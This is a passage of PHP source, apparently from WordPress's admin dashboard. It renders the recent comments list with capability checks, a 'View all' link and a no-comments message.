if ( in_array( $comment->comment_approved, $allowed_states ) && current_user_can( 'read_post', $comment->comment_post_ID ) )
$comments[] = $comment;
}
$start = $start + 50;
}
if ( $comments ) :
?>
<div id="the-comment-list" class="list:comment">
<?php
foreach ( $comments as $comment )
_wp_dashboard_recent_comments_row( $comment );
?>
</div>
<?php
if ( current_user_can('edit_posts') ) { ?>
<p class="textright"><a href="edit-comments.php" class="button"><?php _e('View all'); ?></a></p>
<?php }
wp_comment_reply( -1, false, 'dashboard', false );
wp_comment_trashnotice();
else :
?>
<p><?php _e( 'No comments yet.' ); ?></p>
<?php
endif; // $comments;
}